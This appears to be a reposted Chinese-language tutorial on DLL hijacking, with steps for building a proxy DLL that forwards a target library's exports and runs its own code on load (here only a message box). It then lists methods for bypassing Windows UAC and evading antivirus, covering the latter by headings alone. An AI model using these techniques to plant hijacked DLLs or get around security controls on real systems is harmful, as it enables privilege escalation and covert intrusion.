dll劫持过UAC白名单提权机制免杀

dll劫持

  1. 最好选取系统常用的dll(lpk.dll),并且导出函数少的(有工具了可以忽略).

  2. win7以上的系统对微软的dll进行了保护,大致是建立了一张微软dll的表,调用这些dll的时候只会在system32这些系统目录下调用。

  3. 对于第三方的dll杀毒软件的检测没有那么强大,第三方的dll太多不好管控

  4. 其次我们最好劫持loadlirarby加载的dll,也就是导出表里面没有的dll,但是软件运行时要加载的

  5. dll劫持的目的就是其他软件加载的时候会运行劫持dll的代码

  • dll劫持的操作步骤

  1. 查找Orgdll的导出函数,用CFF工具查看即可

image.png

2.编写自己的dll把Orgdll的函数做个转发,因为程序加载dll的时候肯定要运行里面的代码,用转发解决了这个问题。

     // 导出函数

    #pragma comment(linker, "/EXPORT:DeCodeFile=encodeOrg.DeCodeFile,@1")
    #pragma comment(linker, "/EXPORT:EnCodeFile=encodeOrg.EnCodeFile,@2")
    #pragma comment(linker, "/EXPORT:DeCodeStream=encodeOrg.DeCodeStream,@3")
    #pragma comment(linker, "/EXPORT:EnCodeStream=encodeOrg.EnCodeStream,@4")
    #pragma comment(linker, "/EXPORT:DeCodeString=encodeOrg.DeCodeString,@5")
    #pragma comment(linker, "/EXPORT:EnCodeString=encodeOrg.EnCodeString,@6")

    //另外加的弹窗功能

BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        {
            MessageBox(NULL, NULL, NULL, NULL);
        }
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }


其中需要注意的是Orgdll改名成encodeOrg,自己写的dll改名成encode
hijackdll是自己写的dll,encode是要劫持的dll。

image.png

经过改名后

image.png

1.最后的运行结果可以看到有弹窗了

image.png

dll劫持的用法

过UAC
  1. 什么是uac呢?
    User Account Control简称uac,用户账号控制,如果不是微软的软件,基本上都会弹框提示是否要执行的操作。UAC消除了以管理员身份登录带来的风险

  2. 过uac是什么意思
    就是对方开了这个功能,但是你的软件不会被弹框提示。

  3. 过uac的方法
    1.白名单提权机制;如Wusa.exe Bypass UAC,infDefault.exe Bypass UAC,PkgMgr.exe Bypass UAC等。
    2.DLL 劫持;
    3.Windows 自身漏洞提权;
    4.远程注入;
    5.COM 接口技术。

image.png

做免杀

白加黑


转载请说明出处
草堂教程网 » dll劫持过UAC白名单提权机制免杀

发表评论

欢迎 访客 发表评论

一个纯粹的精品教程收录分享站点

查看演示 官网购买